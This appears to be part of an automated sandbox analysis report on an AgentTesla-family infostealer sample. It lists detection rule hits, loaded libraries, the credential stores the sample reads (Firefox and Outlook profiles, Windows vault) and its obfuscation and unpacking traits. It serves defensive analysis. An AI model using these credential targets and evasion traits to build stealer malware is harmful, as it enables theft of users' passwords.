Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051097586.0000000003011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename5e940590-bd07-4e56-ae86-61e052f8ff28.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3283328492.00000000012F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename5e940590-bd07-4e56-ae86-61e052f8ff28.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Binary or memory string: OriginalFilenamelWVk.exe. vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, aZvWosTDY5WcGlwOCb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ePE3KA8VIr13I1M4c5.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, aZvWosTDY5WcGlwOCb.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Mutant created: NULL

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Virustotal: Detection: 35%
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, MainForm.cs

.Net Code: LateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{0,new string[3]{EIK[0],EIK[1],"Client"}}, (string[])null, (bool[])null)

.NET source code contains potential unpacker

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ePE3KA8VIr13I1M4c5.cs	.Net Code: xocnug2MP1 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, ePE3KA8VIr13I1M4c5.cs	.Net Code: xocnug2MP1 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.5900000.5.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: section name: .text entropy: 7.936637319472689

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, vXYwLM6affvGl1LPOo.cs	High entropy of concatenated method names: 'yih92uOZyQ', 'S3G9YLiO66', 'Q7F9ObyBsE', 'Kk09I17Irp', 'wdC9finRyv', 'jkN9XO07CO', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, WkF8QKmv6uqjX95PHf.cs	High entropy of concatenated method names: 't8HCgbuYSc', 'mewCcPg60A', 'ToString', 'Q4NCWgQRxu', 'GH4CajFshm', 'kDkCBrf8iI', 'dlGCF00Sff', 'y9mCRrB0cG', 'RnEC0iuSl1', 'OsJC83oOSt'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, TcVC0Xedd5l3T2VdXk.cs	High entropy of concatenated method names: 'C0KCq6mVNk', 'MqECjMgJtn', 'D1J9bGbij7', 'oCr94FMJMU', 'EyKCStWlqV', 'b2PCsO2CR7', 'QDfCkqt9oT', 'Y4yCfInT47', 'FRhCDlJ0WC', 'FSdCVXapeg'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, bZcao94bdgy2x14WBPd.cs	High entropy of concatenated method names: 'X8157vKUkL', 'rAS5HyICcO', 'jg85ugNSlU', 'ecR5Kos4x4', 'eKd53ZPLsq', 'poT5QaRUJR', 'fMf5huUcc0', 'YEC5TdHQvi', 'Iyj5pLBUnD', 'lWA5MD2SHu'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, OW4YfnoSj5wlFPuOx9.cs	High entropy of concatenated method names: 'ckiuvw9CA', 'uWcK8kCIV', 'M6HQsse9D', 'VtWhoZINl', 'njCptoWCp', 'PCqMcD6ZM', 'z70ibP5P3jyyjrdSGQ', 'qOMp2aoIpu8X48OW3P', 'USk9NhbRq', 'Vc0vo8Tk6'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, SRgaAAwhAm8UliGP0b.cs	High entropy of concatenated method names: 'sqC07wcMMx', 'EMu0HQQ7LY', 'IYc0uOecGh', 'DRF0KZbPFI', 'lnW03CaJhq', 'GX60QVtWlB', 'Wa40hDCeI4', 'zbu0TxYuL8', 'cCO0pYMy7y', 'l680MtQlvn'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, Hc9U8kz21TDVdAQLYU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sX55Gxg0nm', 'zIl5xP4L9E', 'j1o5y6uV6X', 'R5S5CK401h', 'zSi59Yeor6', 'oRq55DRO7f', 'REF5vvajxY'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, lTWl2xpfefJy2fW2xt.cs	High entropy of concatenated method names: 'ECBBKhmuRV', 'h3jBQFaSKS', 'OJcBTR8XhO', 'XqtBpepUlW', 'dHoBxg5Shp', 'TqnByajJSt', 'T6nBCQnDW3', 'x69B9FbNgB', 'NevB53u1Kh', 'a7jBvRfg7J'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ePE3KA8VIr13I1M4c5.cs	High entropy of concatenated method names: 'evEUNWT4mX', 'o65UWYGcr1', 'vihUaL7DHR', 'BDjUBbOC7m', 'RhYUFhPPyX', 'pgRURSj5PR', 'Ed1U0DFPXW', 'tR1U8CvAE3', 'aKKUPZOhbE', 'rr7UgLxbVK'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, mWClDI2yB8UHgKXbtY.cs	High entropy of concatenated method names: 'yVBRNohyD4', 'kj4RacwYgb', 'b3ARFE1ZxB', 'LYXR0BYuXu', 'L4nR86PlFl', 'zQrFLvCA1Z', 'B87Fe9ts6L', 'D6yFiB2csA', 'DERFqbpqKm', 'up4F6jGMon'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, MB7b0NfyoxYV0SQiFl.cs	High entropy of concatenated method names: 'vgGxtOmQqW', 'DSOxs3Emlx', 'QyGxfBFIJA', 'mKMxD0NfS1', 'zR1xYk8QDK', 'BHdxOoviK6', 'TpfxImDk25', 'WamxXewxBA', 'mInxJBeWp2', 'qAUx1eAEJf'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, NkHH8aaHieshbOGjZ0.cs	High entropy of concatenated method names: 'Dispose', 'B6G46TNFqZ', 'bwwoYRubkX', 'Buipp4ULiD', 'hW94jVVgOt', 'UDd4zbvcOu', 'ProcessDialogKey', 'FplobXYwLM', 'gffo4vGl1L', 'lOoooCuUZb'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, quUZbOjZItL0Y37eit.cs	High entropy of concatenated method names: 'XwN54c4e6D', 'buL5UJG8aW', 'mo65n6hC91', 'z0y5WbMDZG', 'pBm5a0M5oC', 'Tby5Fi3VyZ', 'TAg5RTL5IE', 'LbA9iREX9V', 'zyl9qwMjYH', 'XIx96eCwvt'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, XYYqf4n73hAkgG0EWi.cs	High entropy of concatenated method names: 'hd440ZvWos', 'RY548WcGlw', 'ofe4gfJy2f', 'f2x4ctOCxN', 'vlL4xbfgWC', 'vDI4yyB8UH', 'm83J9YwjZiyV7qyNfO', 'XTFUGO2Cra9GustkTx', 'VOK440mLli', 'OoZ4U6CxwO'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, ICxNAXMVLRDUxllLbf.cs	High entropy of concatenated method names: 'FuRF3PhaAw', 'CjqFh17KjM', 'tO3BOXul7h', 'X7CBIsA1v8', 'UgsBXm41x4', 'u8YBJHknoF', 'B1IB1yPutJ', 'NjyBZaNEkP', 'AWVBwd3mX8', 'G9TBt72lTL'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, aZvWosTDY5WcGlwOCb.cs	High entropy of concatenated method names: 'YcZafvJC9c', 'JZQaDeT0ga', 'BobaVvDQ7T', 'YEfamsrSRX', 'lsFaLqway4', 'IDeaewX0ix', 'sR3aiRQmgP', 'jg5aqHwMdI', 'T08a6Mgiot', 'wqwajxgwrE'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, n0d30tkUjmZhkVdp3W.cs	High entropy of concatenated method names: 'JtBGTrVcUT', 'm4IGpwDKto', 'VPfG2DWTRn', 'R3pGYnuy5G', 'Gn9GIhU9LC', 'HQoGXQ4xFr', 'dkyG1Q93Mx', 'myJGZODWtI', 'RqdGtAE4i9', 'flaGSZFDQq'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, sDodVE1Sj2ONgcKV3f.cs	High entropy of concatenated method names: 'x2r0W1BIeF', 'r5h0Bs23Xj', 'sGH0Rn6A00', 'b6eRjCMo8E', 'zAARzehCLN', 'w100bYZNDN', 'LuV04R5Pkv', 'Ape0oSAT3b', 'v810UEBRJt', 'OiF0nf70ne'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.7ed0000.9.raw.unpack, f9VVgOqtLDdbvcOuMp.cs	High entropy of concatenated method names: 'QRa9Wi60Ok', 'YU49aBLkyd', 'YfT9BcxY8w', 'gek9FBQn8m', 'CeU9Rbwc0j', 'cDD90YFvb7', 'WXh98ZJcHv', 'V6N9PWoUZx', 'TAB9gxlKgC', 'hdA9clSoVb'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, vXYwLM6affvGl1LPOo.cs	High entropy of concatenated method names: 'yih92uOZyQ', 'S3G9YLiO66', 'Q7F9ObyBsE', 'Kk09I17Irp', 'wdC9finRyv', 'jkN9XO07CO', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, WkF8QKmv6uqjX95PHf.cs	High entropy of concatenated method names: 't8HCgbuYSc', 'mewCcPg60A', 'ToString', 'Q4NCWgQRxu', 'GH4CajFshm', 'kDkCBrf8iI', 'dlGCF00Sff', 'y9mCRrB0cG', 'RnEC0iuSl1', 'OsJC83oOSt'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, TcVC0Xedd5l3T2VdXk.cs	High entropy of concatenated method names: 'C0KCq6mVNk', 'MqECjMgJtn', 'D1J9bGbij7', 'oCr94FMJMU', 'EyKCStWlqV', 'b2PCsO2CR7', 'QDfCkqt9oT', 'Y4yCfInT47', 'FRhCDlJ0WC', 'FSdCVXapeg'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4441350.4.raw.unpack, bZcao94bdgy2x14WBPd.cs	High entropy of concatenated method names: 'X8157vKUkL', 'rAS5HyICcO', 'jg85ugNSlU', 'ecR5Kos4x4', 'eKd53ZPLsq', 'poT5QaRUJR', 'fMf5huUcc0', 'YEC5TdHQvi', 'Iyj5pLBUnD', 'lWA5MD2SHu'
